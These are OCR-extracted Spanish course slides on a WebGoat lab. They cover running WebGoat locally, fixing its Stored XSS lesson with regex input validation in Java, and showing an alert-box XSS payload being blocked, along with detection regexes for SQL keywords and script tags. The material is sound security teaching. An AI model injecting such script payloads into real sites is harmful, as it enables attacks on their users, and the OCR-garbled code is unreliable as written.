e Nos ubicamos en la carpeta del proyecto “Servidor WebGoat” con el comando:
cd /home/neron/Downloads/WebGoat-7.1/WebGoat-7.1
® Y ejecutamos el servidor con el comando:
mvn -pl webgoat-container tomcat7:run-war

$ mvn -pl webgoat-container tomcat7:
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M~ daniel@probook-440: ~/Downloads/WebGoat-7.1/WebGoat-7.1 Q =
vliet.http.HttpSession)
El resultado de la ejecuck5n del 2021-08-30 00:44:09,723 INFO - Mapped "{[/service/lessoninfo.mvc],methods=[],params=[],headers=[
, ]1,consumes=[],produces=[application/json],custom=[]}" onto public org.owasp.webgoat.lessons.model
proyecto WebGoat-7.1 deberia .LessonInfoModel org.owasp.webgoat.service.lLessonInfoService.getlLessonInfo(javax.servlet.http.Htt

ser el siguiente . ST S, .
- FrameworkServlet 'mvc-dispatcher': initialization completed in 16

2021-08-30 00:44:09,784 INFO - Initializing main webgoat servlet

2021-08-30 00:44:09,785 INFO - Browse to http://localhost:8080/WebGoat and happy hacking!
Aug 30, 2021 12:44:09 AM org.apache.coyote.AbstractProtocol start

INFO: Starting ProtocolHandler ["http-bio-8080"]

& C  ® http://localhost:8080/WebGoat/login.mvc#attack/611366032/900/2

En este punto WebGoat ya estara
disponible via web a través de la direccién:
http://localhost:8080/WebGoat/login.mvc

Username
Con las credenciales: webgoat B
Usuario: webgoat Peasnard
Password: webgoat A | ... ] @



http://localhost:8080/WebGoat/login.mvc

Reto 3. Corregir webgoat para evitar el ataque
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Acceder al reto “Stored XSS” del panel izquierdo de Webgoat. Si lo deseamos podemos hacer la explotacién de la

vulnerabilidad con los mismos pasos realizados en el Reto 2 y asi comprobar que la versidon que hemos compilado de
WebGoat desde el codigo fuente también tiene presente la vulnerabilidad “XSS almacenado”

C  ® http://localhost:8080/WebGoat/start.mvc#attack/611366032/900/1

= LAB: Cross Site Scripting

m Show Solution m EUGURE Y Restart Lesson

Stage 1
Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.

As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. Verify that 'Jerry' is affected by the
attack.

The passwords for the accounts are the lower-case versions of their given names (e.g. the password for Tom Cat is "tom")

¢ Goat Hills Financial

i» Human Resources

(<

Please Login
[Larry Stooge (employee) v]

| Login |




Reto 3. Corregir webgoat para evitar el ataque
Stored Cross-site scripting (XSS)

Si presionamos en el botéon “Show source” de la interfaz mostrada en el slide anterior, desde la versién para
desarrolladores de WebGoat, nos indicard que el archivo del cédigo fuente que se esta ejecutando en dicho reto es:
UpdateProfileDBCrossSiteScripting.java que lo podemos encontrar como UpdateProfileCrossSiteScripting.java

= C O DO localhost - 8

Lesson Source Code

package instructor;

import org.owasp.webgoat.plugin.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.plugin.GoatHillsFinancial.lessonAction;
import org.owasp.webgoat.plugin.db_cross_site.UpdateProfileDBCrossSiteScripting;

/* STAGE 2 FIXES
Solution Summary (1. or 2.)
1. Modify the UPDATE_EMPLOYEE stored procedure in the database and add
a validation step. Oracle 10G now supports regular expressions.
2. Apply a column constraint can also work IFF the existing data is clean

Solution Steps:
1. Talk about the different database approaches.
a. Apply validation in the UPDATE stored proc
- Possible to bypass by not using that stored proc

b. Apply a table column constraint
- Cannot be bypassed. The DB enforces the constraint under all conditions

2. Fix the stored proc
Define the pattern.

Validate the field against the pattern.
Raise an exception if invalid.
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Ahora corregiremos Webgoat para evitar el ataque Stored Cross-site scripting (XSS):

® Primero debemos abrir el archivo UpdateProfileCrossSiteScripting.java que se encuentra en la ruta:
/home/neron/Downloads/WebGoat-7.1/WebGoat-Lessons/cross-site-scripting/src/main/java/org/
owasp/webgoat/plugin/crosssitescripting

UpdateProfileCrossSiteScripting.java

package org.owasp.webgoat.plugin.crosssitescripting;

import org.owasp.webgoat.plugin.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.plugin.GoatHillsFinancial.Employee;

import org.owasp.webgoat.plugin.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.plugin.GoatHillsFinancial.LessonAction;

import org.owasp.webgoat.session.ParameterNotFoundException;

import org.owasp.webgoat.session.ParameterParser;

import org.owasp.webgoat.session.UnauthenticatedException;

import org.owasp.webgoat.session.UnauthorizedException;

import org.owasp.webgoat.session.ValidationException;

import org.owasp.webgoat.session.WebSession;

import javax.servlet.http.HttpServletRequest;
import java.sql.PreparedStatement;

import java.sql.ResultSet;

import java.sql.SQLException;

import java.sql.Statement;

import java.util.regex.Matcher;

import java.util.regex.Pattern;
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UpdateProfileCrossSiteScripting.java

protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws
ParameterNotFoundException,

ValidationException
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
.. , // is the better solution.
Adicionar en el método
| f.l HttpServletRequest request = s.getRequest();
ParseEmp OVEEPI'O ne String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
.z String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
una eXpreS|On regUIar String ssn = request.getParameter(CrossSiteScripting.SSN);
H String title = request.getParameter(CrossSiteScripting.TITLE);

que Vallda que el texto String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
in resadO en e| String address1l = request.getParameter(CrossSiteScripting.ADDRESS1);

g String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
address]_ Contenga int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
.. String startDate = request.getParameter(CrossSiteScripting.START_DATE);
unicamente caracteres int salary = Integer.parselnt(request.getParameter(CrossSiteScripting.SALARY));

.. String ccn = request.getParameter(CrossSiteScripting.CCN);
permltldOSZ int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
, | String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
L MayUSCU as A-Z String disciplinaryActionNotes =
P request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
L4 ManSCUlaS a-z String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);

e Numeros 0-9

String regex = "[A-Za-z0-9\\s.]*";
Pattern pattern = Pattern.compile(regex);
address1 = validate(address1, pattern);

Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone,
address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate,
disciplinaryActionNotes,
personalDescription);



Regular expressions

e Usando el portal regex101 https://regex101.com analizar las siguientes expresiones regulares:

[\s]*(?i)((delete) | (exec) | (drop\s*table)| (insert) | (shutdown)| (update) | (\bor\b)) link
<script.*?>.*?<\/script> link
<([A-Za-z_{}()/1+(\s| =)*)+>(.*<[A-Za-z/>]+)* link

e Construya una expresion regular que detecte URLs


https://regex101.com
https://regex101.com/r/AkyFQ9/1
https://regex101.com/r/bP2sU6/1
https://regex101.com/r/Czpo6E/1

Reto 3. Corregir webgoat para evitar el ataque
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El método validate realiza una
comparacion entre e' UpdateProfileCrossSiteScripting.java
parameter ingresado como

. , /**
primer argumento y el patron * Validates that the given parameter value matches the given regular expression pattern.
de la expresion regular. § e ek

H 1A * @param pattern
Si la expresion regular . R
encuentra texto no permitido £ throws VaLLdsEtanExcention
arrojaré una excepcién que protected String validate(final String parameter, final Pattern pattern) throws
. ., ValidationException
impedira que se almacene el {
- Matcher matcher = pattern.matcher(parameter);
COdIgO del XSS if (!matcher.matches()) throw new ValidationException();

return parameter;
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Después de agregar el codigo de securizacion se debe compilar y lanzar de nuevo el proyecto webgoat a través de los siguientes
comandos:
1. Ubicarse en la carpeta del proyecto WebGoat-Lessons con el comando:
cd /home/neron/Downloads/WebGoat-7.1/WebGoat-Lessons
1. Compilar de nuevo el proyecto con el comando: mvn package

(base) S mvn package

daniel@probook-440: ~/Downloads/WebGoat-7.1/WebGoat-Lessons

sql-injection
sql-numeric-injection
sql-string-injection
stored-xss
thread-safety-problem
trace-xss

El resultado de la compilacién Srairery o
del proyecto WebGoat-Lessons weak-authentication-cookie

, L. weak-session-id
deberia ser el siguiente ws-sax-injection
ws-sql-injection

wsdl-scanning

xml-injection
xpath-injection

Total time: 4.762 s
Finished at: 2021-08-30T00:40:50-05:00




Reto 3. Corregir webgoat para evitar el ataque
Stored Cross-site scripting (XSS)

3. Copiar el archivo cross-site-scripting-1.0.jar al proyecto “Servidor Webgoat” con el comando:
cp target/plugins/*.jar ../WebGoat-7.1/webgoat-container/src/main/webapp/plugin_lessons/

$ cp target/plugins/*.ja

(base) .
Goat-7.1/webgoat- contalner/src/maln/webapp/plugtn lessons/

(base)

4. Ahora podemos proceder a ejecutar de nuevo el servicio web:
e Nos ubicamos en la carpeta del proyecto “Servidor WebGoat” con el comando:
cd /home/neron/Downloads/WebGoat-7.1/WebGoat-7.1
® Y ejecutamos el servidor con el comando:
mvn -pl webgoat-container tomcat7:run-war

$ cd WebGoat-7.1/
$ mvn -pl webgoat-containe

r tomcat7:run-warl
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M~ daniel@probook-440: ~/Downloads/WebGoat-7.1/WebGoat-7.1 Q =
vliet.http.HttpSession)
El resultado de la ejecuck5n del 2021-08-30 00:44:09,723 INFO - Mapped "{[/service/lessoninfo.mvc],methods=[],params=[],headers=[
, ]1,consumes=[],produces=[application/json],custom=[]}" onto public org.owasp.webgoat.lessons.model
proyecto WebGoat-7.1 deberia .LessonInfoModel org.owasp.webgoat.service.lLessonInfoService.getlLessonInfo(javax.servlet.http.Htt

ser el siguiente . ST S, .
- FrameworkServlet 'mvc-dispatcher': initialization completed in 16

2021-08-30 00:44:09,784 INFO - Initializing main webgoat servlet

2021-08-30 00:44:09,785 INFO - Browse to http://localhost:8080/WebGoat and happy hacking!
Aug 30, 2021 12:44:09 AM org.apache.coyote.AbstractProtocol start

INFO: Starting ProtocolHandler ["http-bio-8080"]

& C  ® http://localhost:8080/WebGoat/login.mvc#attack/611366032/900/2

En este punto WebGoat ya estara
disponible via web a través de la direccién:
http://localhost:8080/WebGoat/login.mvc

Username
Con las credenciales: webgoat B
Usuario: webgoat Peasnard
Password: webgoat A | ... ] @



http://localhost:8080/WebGoat/login.mvc

Reto 3. Corregir webgoat para evitar el ataque
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Ahora podemos acceder nuevamente al reto “Stage 2: Block Stored XSS using input validation” del panel izquierdo
de Webgoat

&« C @ http://localhost:8080/WebGoat/start.mvc#attack/611366032/900/2
& C  ® http://localhost:8080/WebGoat/login.mvc

= LAB: Cross Site Scripting

B EENEEY EXZIED) Restar Lesson

Stage 2
Username Stage 2: Block Stored XSS using Input Validation
webgoat % THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Password Implement a fix to block the stored XSS before it can be written to the database. Repeat stage 1 as 'Eric’
-| % manager. Verify that 'David’ is not affected by the attack.
-l?
& Goat Hills Financial
m i  Human Resources
[ i
Please Login

i Larry Stooge (employee) v‘

[ Login |

The following accounts are built into Webgoat

Account User Password

Webgoat User guest guest

Webgoat Admin webgoat webgoat
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Probar que el aplicativo ya se encuentra protegido accediendo con cualquier usuario disponible en la lista
desplegable de la ventana de autenticaciéon de “Goat Hills Financial Human Resources”

¢ Goat Hills Financial

1» Human Resources

°
® En este caso se ha utilizado al usuario Eric Walker con password: eric
W
& Goat Hills Financial
1 Human Resources
[ ©

Please Login

| Eric Walker (employee)

v]

| Login |

[#h Welcome Back Eric - Staff Listing Page

(4

Select from the list below

Eric Walker (employee) -

‘ SearchStaff ‘

‘ ViewProfile ‘

‘ Logout |
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e Dentro de la opcidn “Search Staff” buscar a un usuario, por ejemplo David, para visualizar el perfil del empleado

& «
¢ Goat Hills Financial &° Goat Hills Financial
1 Human Resources 1 Human Resources
L o [#h Welcome Back Eric = |
First Name: David Last Name: Giambi
el Street: 5132 DIMM Avenue Citylstate: o
Name [David| ] : ok Y ' York, NY
FindProfile ’ Phone: 610-521-8413 Start Date: 5011999
SSN: 439-20-9405 Salary: 100000
i Credit Card
Credit Card:  6981754825018101 Li:m' @ 10000
Strong work habbit.
Comments: N . Manager: 102
Questionable ethics.
A Hacked into accounting Biscihniy
Liststaff [ | EditProfile Modified personal . Logout
(L y ‘ : H 55 M Action Dates: 9

L



Reto 3. Corregir webgoat para evitar el ataque
Stored Cross-site scripting (XSS)
e  Editar el campo street e insertar el cédigo javascript usado en la resolucion del reto 2:

<script>alert(“vuln”)</script>
e En este caso la aplicacidon no debe aceptar la insercidn del cddigo debido a que contiene caracteres especiales

Stage 3
& Goat H.S nmndd Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.
J&‘ Human Resources The .Bruce employge .proflle is pre-loaded with a stored XSS attack. Verify that 'David
= the fix from stage 2 is in place.
[#h Welcome Back Eric o
First Name: ‘David | Last Name: |G!ambi | * You have completed Stage 2: Block Stored XSS using Input Validation.
* Welcome to Stage 3: Stored XSS Revisited
[ Street: [<scnpt>alen("vuIn")</‘scr|pt>|]}ny/Sta[e |New York, NY |
«
Phone:  [610-521-8413 | start Date: (5011999 | ¢ Goat Hills Financial
SSN: |439-20-9405 | salary: 100000 | J‘ Human Resources
i =
Credit Card: |6981754825018101 | E:iﬁ'n cad 10000 | [ ]
Comments: lStrong work habbit. Questlor| Manager: | Eric Walker v
IAn error has occurred.
Hacked into Disciplinary
[E):(SCI:)IL::C%‘ accounting server. Action |61402 |
P " |Modified personal pay., Dates:

.

ViewProfile H UpdateProfile I Logout |




V. ¢ Que hemos aprendido hoy?

* Proyecto Owasp Top 10

» Identificacion, explotacion y mitigacion de la
vulnerabilidad cross-site scripting (XSS)
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